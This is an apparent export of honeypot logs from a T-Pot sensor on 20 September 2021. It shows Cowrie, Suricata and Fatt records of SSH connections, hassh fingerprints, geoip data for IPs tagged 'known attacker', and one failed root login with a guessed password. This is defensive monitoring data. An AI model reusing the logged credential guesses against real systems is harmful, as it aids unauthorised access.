34992	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:06:08.096556+03	2021-09-20 15:15:02.65169+03	{"_id": "nwYZA3wBvYTbRNuEZ1na", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44426, "timestamp": "2021-09-20T12:06:08.096556", "@timestamp": "2021-09-20T12:06:08.096Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34993	96.78.175.36	109.199.241.180	Fatt	2021-09-20 15:06:08.279278+03	2021-09-20 15:15:02.652689+03	{"_id": "oAYZA3wBvYTbRNuEZ1na", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44426, "dest_port": 22, "timestamp": "2021-09-20T12:06:08.279278", "@timestamp": "2021-09-20T12:06:08.279Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
34994	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:05:55.437799+03	2021-09-20 15:15:02.65369+03	{"_id": "cwYZA3wBvYTbRNuEMlnp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "5c5492da81ad", "@version": "1", "timestamp": "2021-09-20T12:05:55.437799Z", "@timestamp": "2021-09-20T12:05:55.437Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34995	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:05:55.43691+03	2021-09-20 15:15:02.655691+03	{"_id": "dQYZA3wBvYTbRNuENFkO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 981460041372777, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 20118, "dest_port": 22, "timestamp": "2021-09-20T12:05:55.436910Z", "@timestamp": "2021-09-20T12:05:55.436Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34996	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:05:55.177885+03	2021-09-20 15:15:02.656693+03	{"_id": "dwYZA3wBvYTbRNuENVkP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 20118, "timestamp": "2021-09-20T12:05:55.177885", "@timestamp": "2021-09-20T12:05:55.177Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34997	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:06:05.385111+03	2021-09-20 15:15:02.658691+03	{"_id": "kQYZA3wBvYTbRNuEXFl8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "87.112.251.105", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40886, "timestamp": "2021-09-20T12:06:05.385111", "@timestamp": "2021-09-20T12:06:05.385Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34998	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:08.27986+03	2021-09-20 15:15:02.65969+03	{"_id": "nAYZA3wBvYTbRNuEZVm2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:08.279860Z", "@timestamp": "2021-09-20T12:06:08.279Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
34999	13.107.21.200	109.199.241.180	Suricata	2021-09-20 15:06:03.812569+03	2021-09-20 15:15:02.66169+03	{"_id": "igYZA3wBvYTbRNuEV1k7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:06:03.812569+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "13.107.21.200", "asn": 8068, "as_org": "Microsoft Corporation", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "13.107.21.200", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 115356264523289, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62432, "timestamp": "2021-09-20T12:06:03.812569Z", "@timestamp": "2021-09-20T12:06:03.812Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35339	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:31.318085+03	2021-09-20 15:15:03.13569+03	{"_id": "kgYbA3wBvYTbRNuElFuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:31.318085Z", "@timestamp": "2021-09-20T12:08:31.318Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35000	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 15:06:05.380225+03	2021-09-20 15:15:02.66269+03	{"_id": "iwYZA3wBvYTbRNuEWVn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 87.112.251.105:40886 (192.168.176.2:22) [session: ffbcf8bb799e]", "session": "ffbcf8bb799e", "@version": "1", "protocol": "ssh", "src_port": 40886, "dest_port": 22, "timestamp": "2021-09-20T12:06:05.380225Z", "@timestamp": "2021-09-20T12:06:05.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	GB
35001	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 15:06:05.383024+03	2021-09-20 15:15:02.664689+03	{"_id": "jAYZA3wBvYTbRNuEWVn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ffbcf8bb799e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:06:05.383024Z", "@timestamp": "2021-09-20T12:06:05.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	GB
35002	87.112.251.105	109.199.241.180	Suricata	2021-09-20 15:06:05.451775+03	2021-09-20 15:15:02.66569+03	{"_id": "jQYZA3wBvYTbRNuEW1kk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "flow_id": 1568068823009462, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40886, "dest_port": 22, "timestamp": "2021-09-20T12:06:05.451775Z", "@timestamp": "2021-09-20T12:06:05.451Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	GB
35003	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:05:55.173755+03	2021-09-20 15:15:02.666691+03	{"_id": "cgYZA3wBvYTbRNuEMlnp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:20118 (192.168.176.2:22) [session: 5c5492da81ad]", "session": "5c5492da81ad", "@version": "1", "protocol": "ssh", "src_port": 20118, "dest_port": 22, "timestamp": "2021-09-20T12:05:55.173755Z", "@timestamp": "2021-09-20T12:05:55.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35004	218.92.0.190	109.199.241.180	Fatt	2021-09-20 15:05:55.43719+03	2021-09-20 15:15:02.66769+03	{"_id": "dgYZA3wBvYTbRNuENVkP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 20118, "dest_port": 22, "timestamp": "2021-09-20T12:05:55.437190", "@timestamp": "2021-09-20T12:05:55.437Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35005	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:05:56.841909+03	2021-09-20 15:15:02.66869+03	{"_id": "eQYZA3wBvYTbRNuEOlm6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/9001a] failed", "session": "5c5492da81ad", "@version": "1", "password": "9001a", "username": "root", "timestamp": "2021-09-20T12:05:56.841909Z", "@timestamp": "2021-09-20T12:05:56.841Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
